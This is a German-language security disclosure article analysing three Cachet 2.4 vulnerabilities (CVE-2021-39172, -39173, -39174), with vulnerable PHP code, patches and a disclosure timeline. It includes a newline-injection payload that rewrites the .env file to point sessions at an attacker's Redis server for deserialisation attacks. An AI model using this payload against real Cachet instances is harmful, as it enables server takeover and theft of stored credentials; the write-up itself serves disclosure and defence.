Statusseiten sind heute ein essenzieller Service, der von allen Software-as-a-Service-Unternehmen angeboten wird. Um ihre Verbreitung zu fördern, haben Start-ups schnell Statusseiten als Dienstleistung entwickelt und Open-Source-Alternativen zur eigenständigen Verwaltung wurden verfügbar gemacht. Cachet, auch gelegentlich als CachetHQ bezeichnet, ist ein weit verbreitetes System zur Statusseite, das in PHP geschrieben wurde und zahlreiche Community-Fork-Versionen hat, wie zum Beispiel fiveai/Cachet.
Die Kompromittierung von Cachet-Instanzen ist für Angreifer lohnend, da sie Geheimnisse für verschiedene Dienste wie Caches, Datenbanken, E-Mail-Server usw. speichern. Dieser erste Einstieg in die Infrastruktur ist für sie hilfreich, um in das interne Netzwerk des betroffenen Unternehmens einzudringen und weitere Angriffe durchzuführen. In diesem Artikel stelle ich die technische Analyse von drei Sicherheitslücken vor, die mein Team und ich in Cachet 2.4 entdeckt haben. Sie können es Angreifern ermöglichen, den Server zu kompromittieren.
Auswirkungen
Die Ausnutzung dieser Schwachstellen wurde in der zu diesem Zeitpunkt letzten offiziellen Version von Cachet (2.3.18) sowie in der Entwicklungsbranch (2.4) bestätigt. Ein Angreifer, der diese Schwachstellen ausnutzen möchte, benötigt ein gültiges Benutzerkonto mit grundlegenden Rechten, ein Szenario, das realistisch genutzt werden kann durch:
- Die Verwendung von Credential-Stuffing aufgrund der beträchtlichen Menge an ausgehobenen Konten jährlich.
- A compromised or malicious user.
- Die Anwesenheit einer Cross-Site-Scripting-Schwachstelle im selben Umfeld.
- Die Ausnutzung von CVE-2021-39165, einer vorausgegangenen SQL-Injection in Cachet, die im Januar 2021 behoben wurde.
Sicherheitslücke 1: CVE-2021-39172
Die erste Sicherheitslücke (CVE-2021-39172), die ich beschreibe, ist eine Zeilenumbruch-Injection, die auftritt, wenn Benutzer die Konfiguration einer Instanz aktualisieren, z.B. die E-Mail-Einstellungen. Sie ermöglicht Angreifern, neue Anweisungen einzufügen und das Verhalten von Kernfunktionen zu verändern, was zur Ausführung beliebiger Code führt.
Das folgende Video zeigt die Ausnutzung dieser Sicherheitslücke. Zur Demonstration werden mehrere Schritte manuell ausgeführt, könnten aber von Angreifern automatisiert werden:
Quelle: Sonar YouTube
Sicherheitslücke 2: CVE-2021-39174
Die zweite (CVE-2021-39174) ist ebenfalls mit dieser Funktion verknüpft und ermöglicht es dem Angreifer, Geheimnisse auszuspähen, die im Konfigurationsdatei gespeichert sind, z.B. das SMTP-Server-Passwort, den Verschlüsselungsschlüssel der Anwendung usw.
Sicherheitslücke 3: CVE-2021-39173
Schließlich ist die letzte Sicherheitslücke (CVE-2021-39173) wesentlich einfacher und ermöglicht es, den Einrichtungsprozess durchzugehen, selbst wenn die Instanz bereits voll konfiguriert ist. Auf diese Weise können Angreifer das Cachet-Instanz dazu verleiten, eine beliebige Datenbank unter ihrer Kontrolle zu verwenden, was letztendlich zur Ausführung beliebiger Code führt.
Patches für diese drei Sicherheitslücken sind in Release 2.5.1 des FiveAI-Forks verfügbar.
Technische Details
In diesem Abschnitt beschreibe ich die technischen Details jeder Sicherheitslücke und die Art, wie sie in der neuesten Version des Community-Forks behoben wurden.
CVE-2021-39172: Remotecodeausführung
Das Dashboard von Cachet bietet mehrere Konfigurationsansichten (auch für nicht-administrative Benutzer), um den Instanznamen, E-Mail-Server-Einstellungen usw. zu ändern. Anwendungsspezifische persistente Einstellungen werden im Datenbank gespeichert, und andere frameworkspezifische Werte direkt im Konfigurationsdatei der Anwendung. Das Laravel-Framework verwendet dotenv Konfigurationsdateien, eine Form, die ähnlich ist wie die Deklaration von Umgebungsvariablen in einem Shell-Skript. Ihre Unterstützung ist in der drittanbieterbibliothek hier implementiert.
Bei der Änderung der E-Mail-Anbietereinstellungen instanziiert der Controller ein Objekt der Klasse UpdateConfigCommand
. Laravel-Befehle, im Kontext des Befehlsbusses, sind eine Möglichkeit, anwendungsspezifische Logik aus Controllern zu entfernen; sie werden synchron ausgeführt, wenn auf das Objekt eine execute()
-Methode aufgerufen wird. Dies geschieht an der Stelle [1]
:
app/Http/Controllers/Dashboard/SettingsController.php
:
<?php
public function postMail()
{
$config = Binput::get('config');
execute(new UpdateConfigCommand($config)); // [1]
return cachet_redirect('dashboard.settings.mail')
->withInput(Binput::all())
->withSuccess(trans('dashboard.notifications.awesome'));
}
Der zugehörige Handler UpdateConfigCommandHandler
ist dafür verantwortlich, Änderungen im vorhandenen dotenv Datei durchzuführen, indem bestehende Einträge durch neue ersetzt werden.
UpdateConfigCommandHandler
kann durch Code an zwei verschiedenen Stellen ausgelöst werden:
-
SetupController@postStep3
: Der letzte Schritt des Einrichtungsprozesses. Sobald die Instanz installiert ist, kann dieser Codepfad nicht mehr erreicht werden; -
SettingsController@postMail
: Bei der Aktualisierung der dotenv Einträge im Zusammenhang mit E-Mail-Servern.
Er wird zunächst die vollständige Konfigurationsdatei auswerten, um die Prozessumgebung zu füllen ([1]
), feststellen, ob die Anweisung zur Aktualisierung bereits definiert ist ([2]
) und den Eintrag durch seinen neuen Wert ersetzen ([3]
):
app/Bus/Handlers/Commands/System/Config/UpdateConfigCommandHandler.php
:
<?php
class UpdateConfigCommandHandler
{
// [...]
public function handle(UpdateConfigCommand $command)
{
foreach ($command->values as $setting => $value) {
$this->writeEnv($setting, $value);
}
}
// [...]
protected function writeEnv($key, $value)
{
$dir = app()->environmentPath();
$file = app()->environmentFile();
$path = "{$dir}/{$file}";
try {
(new Dotenv($dir, $file))->load(); // [1]
$envKey = strtoupper($key);
$envValue = env($envKey) ?: 'null'; // [2]
file_put_contents($path, str_replace( // [3]
"{$envKey}={$envValue}",
"{$envKey}={$value}",
file_get_contents($path)
));
} catch (InvalidPathException $e) {
throw $e;
}
}
}
Es erfolgt keine Validierung der eingehenden Daten: Solange der Konfigurationseintrag bereits existiert, wird er durch einen Wert ersetzt, der aus dem Parameter stammt. Wenn ein Angreifer einen Wert liefert, der neue Zeilen enthält, wird dies neue Einträge in der dotenv Datei erstellen und kann Funktionalitäten auf Framework-Ebene verändern.
Hinweis: Nur die erste Definition einer Variablen in einer dotenv Datei wird verwendet; nachfolgende werden ignoriert.
Bei Laravel-Projekten reicht dieses Primitiv aus, um eine beliebige Codeausführung zu erzielen. Die ursprüngliche dotenv Konfigurationsdatei wird in den meisten Instanzen wahrscheinlich so aussehen:
.env
:
APP_ENV=production
[...]
DEBUGBAR_ENABLED=false
DB_DRIVER=sqlite
[...]
DB_PREFIX=
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=array
MAIL_DRIVER=smtp
MAIL_HOST=foo
[...]
REDIS_HOST=null
REDIS_DATABASE=null
REDIS_PORT=null
Angreifer könnten den Schlüssel CACHE_DRIVER
ersetzen und einen Redis-Server unter ihrer Kontrolle als neuen Sitzungsbackend registrieren:
file\nREDIS_HOST=some.remote.server\nREDIS_DATABASE=0\nREDIS_PORT=6379\nSESSION_DRIVER=redis
Nach dem Senden einer Anfrage, die CACHE_DRIVER
auf diesen Wert setzt, wird die dotenv-Datei wie folgt aussehen:
.env
:
APP_ENV=production
APP_DEBUG=false
APP_URL=http://cachet.internal
APP_TIMEZONE=UTC
// [...]
CACHE_DRIVER=file
REDIS_HOST=some.remote.server
REDIS_DATABASE=0
REDIS_PORT=6379
SESSION_DRIVER=redis
SESSION_DRIVER=file
QUEUE_DRIVER=null
// [...]
Da Laravel-Sitzungen mit der nativen PHP-Formatierung serialisiert werden, werden sie mit der Funktion unserialize()
analysiert. Dies ist eine bekannte Schwäche, die durch Verwendung einer Folge speziell gestalteter Objekte, ein Konzept namens „Pop-Chains“, zu beliebiger Codeausführung ausgenutzt werden kann. Das Tool PHPGGC kann solche Ketten für Laravel-Projekte generieren.
Andere Möglichkeiten zur Ausnutzung der Befehlsausführung aus einer neuen Zeileninjektion in einer dotenv-Datei könnten existieren, aber wir haben in diese Richtung keine weitere Forschung betrieben. Mein Team und ich sind neugierig zu wissen, ob Sie sich anderer Techniken bewusst sind!
CVE-2021-39174: Konfigurationsleck
Wie ich im vorherigen Abschnitt beschrieben habe, kann man über direkte Lese- und Schreibkontrolle über in der dotenv-Datei gespeicherte Werte verfügen. Das Schreiben in diese Datei führt letztendlich zur beliebigen Codeausführung, aber kann es auch ausgenutzt werden, da die Werte dieser Datei im Interface angezeigt werden?
Die Dokumentation von vlucas/phpdotenv
beschreibt, dass es verschachtelte Variablenzuweisung unterstützt: Bei der Deklaration einer Variablen können Sie eine zuvor deklarierte Variable mit der Syntax ${NAME}
referenzieren.
Diese Funktion ist praktisch: Indem man in einem Eintrag des dotenv Konfigurationsdatei eine andere Variable referenziert und diesen Eintrag im Interface anzeigt, wird der Wert einer anderen Variablen offenbart.
Es ist bereits breit dokumentiert, dass das Lecken von APP_KEY
zu Codeausführung führt, wenn der Session-Treiber auf Cookie gesetzt ist, und dieses Element kann auch verwendet werden, um DB_PASSWORD
und MAIL_PASSWORD
zu lecken, um weitere Angriffe durchzuführen.
CVE-2021-39173: Zwangs-Reinstall
Die Setup-Seite kann nicht aufgerufen werden, wenn die Instanz bereits installiert ist, wie in dem Middleware implementiert. SetupAlreadyCompleted
:
app/Http/Middleware/SetupAlreadyCompleted.php
:
settings->get('app_name')) {
return cachet_redirect('dashboard');
}
} catch (ReadException $e) {
// nicht eingerichtet!
}
return $next($request);
}
}
Die Überprüfung basiert ausschließlich auf dem Wert der Einstellung: Wenn nicht definiert oder leer, wird das Middleware die Instanz als installiert betrachten.
Falls Sie sich fragen, welche anderen Werte als falsch bewertet werden können, hier eine kurze Einführung in PHPs Typisierungssystem bei Vergleichen bis PHP 8. Vergleiche können mithilfe einer Gleichheitsüberprüfung (==) oder einer Identitätsüberprüfung (===) durchgeführt werden. Gleichheitsüberprüfungen implizieren, dass die Typen der Operanden nicht berücksichtigt werden, und Strings können vorher in Zahlen umgewandelt werden. Dieses Verhalten wurde als „Typjonglieren“ bezeichnet und in verschiedenen Echtzeit-Schwachstellen ausgenutzt (CVE-2017-1001000, CVE-2019-10231). Im Falle des obigen Vergleichs wird jeden Wert, der einer leeren Zeichenfolge oder „0“ entspricht, als falsch
ausgewertet und ermöglicht den Zugang zu den Setup-Seiten.
Der Wert von app_name
wird während der Aktualisierung der Einstellungen in SettingsController@postSettings
, bei [1]
:
app/Http/Controllers/Dashboard/SettingsController.php
:
<?php
class SettingsController extends Controller
{
// [...]
public function postSettings()
{
$setting = app(Repository::class);
// [...]
$parameters = Binput::all();
// [...]
$excludedParams = [
'_token',
'app_banner',
'remove_banner',
'header',
'footer',
'stylesheet',
];
try {
foreach (Binput::except($excludedParams) as $settingName =>
$settingValue) {
if ($settingName === 'app_analytics_pi_url') {
$settingValue = rtrim($settingValue, '/');
}
$setting->set($settingName, $settingValue); // <-- [1]
// [...]
Daher kann ein authentifizierter Benutzer ihn auf einen Wert aktualisieren, der als falsch ausgewertet wird, und dann erneut auf/Setup zugreifen, um die Instanz mit einem neuen Administratorkonto neu zu installieren (Privilegienanhebung) oder unsere erste Entdeckung auszunutzen und Codeausführung zu erlangen (denken Sie daran, UpdateConfigCommandHandler
kann auch über diesen Codeweg ausgenutzt werden).
Patch
Die neue Zeileninjektionsschwachstelle (CVE-2021-39172) wurde durch Verbesserung der Überprüfung eingehender Werte in UpdateConfigCommandHandler
, jede Änderung zurückweisend, die Zeilenumbruchzeichen enthält.
Der Konfigurationsleck-Bug (CVE-2021-39174) war komplexer zu beheben, da die neueste Version der dotenv-Bibliothek aufgrund der bestehenden Abhängigkeiten nicht importiert werden konnte. Stattdessen wurde der relevante Code übertragen, um dem Befehlsbehandler zu ermöglichen, zu identifizieren, ob ein Wert eine verschachtelte Variable enthält.
Schließlich ist es aufgrund von verbesserten Prüfungen im betroffenen Middleware-Code nicht möglich, bestehende Instanzen zu zwingen, neu zu installieren (CVE-2021-39173).
Zeitstrahl
DATE | ACTION |
2021-03-26 | Issues reported by email to the official security disclosure address of the upstream project. |
2021-06-25 | We send the security issues and patches to the community-supported fork (fiveai/Cachet). |
2021-08-27 | Release 2.5.1 of the FiveAI fork is published, with fixes for CVE-2021-39172, CVE-2021-39173, and CVE-2021-39174. |
Zusammenfassung
In diesem Artikel habe ich drei Schwachstellen in Cachet analysiert und gezeigt, wie man Instanzen mit nur grundlegenden Benutzerberechtigungen mithilfe von Laravel-Konfigurationsdateien übernehmen kann. Ich habe auch beschrieben, welche Patches von den Maintainern angewendet wurden und wie sie die von mir vorgestellten Angriffe verhindern.
Zuletzt möchten mein Team und ich den Maintainern des FiveAI-Forks von Cachet danken, dass sie unsere Beratung anerkannt und diese Schwachstellen zeitnah und professionell behoben haben.
Source:
https://dzone.com/articles/cachet-two-four-code-execution-via-laravel-configuration-injection